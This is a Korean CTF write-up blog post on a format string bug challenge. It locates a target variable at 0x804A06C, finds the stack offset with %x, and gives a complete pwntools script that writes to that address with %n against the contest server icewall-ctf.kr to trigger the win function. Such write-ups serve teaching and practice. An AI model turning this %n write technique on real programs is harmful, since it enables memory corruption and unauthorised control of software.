Download: vuln
32bit ELF 바이너리 파일이다.
FSB는 Format String Bug으로, printf 등의 함수에서 사용자 입력을 그대로 Format으로 사용하는 경우 발생할 수 있는 취약점이다. Format String Vulnerability라고 부르기도 한다. 이에 대해서는 여기서 다루는 대신, 잘 설명된 글이 있으므로 그 링크를 첨부해 놓았다.
https://operatingsystems.tistory.com/entry/Vul-Format-String-Vulnerability
target은 0x804A06C에 위치한 uninitalized DWORD 값이다. 기본값은 0이 될 것이고, 이 값이 0이 아니게 되면 win 함수를 호출해 flag를 얻어올 수 있다. FSB를 이용해 입력에 0x804A06C와 적당한 수의 %x를 넣어 0x804A06C가 몇 번째 위치에 위치하는지 알아본다.
6번째에 위치한다. 6번째 %x 대신 %n을 넣어 0x804A06C 위치에 값을 쓸 수 있고, 그러면 target 변수가 0이 아니게 되어 win이 실행된다.
from pwn import *
import sys
if len(sys.argv) == 1 :
p = process('./vuln')
else :
p = connect('icewall-ctf.kr', 10204)
target = 0x804A06C
payload = p32(target)
payload += ' %x %x %x %x %x %n'
p.sendlineafter('Bug', payload)
print p.recv(1000)
p.interactive()
'ICEWALL' 카테고리의 다른 글
[System] libc_leak / 250 (0) | 2019.07.19 |
---|---|
[System] typing_practice / 200 (0) | 2019.07.19 |
[System] canary / 150 (0) | 2019.07.19 |
[System] bofbaby2 / 120 (0) | 2019.07.18 |
[System] bofbaby1 / 100 (0) | 2019.07.18 |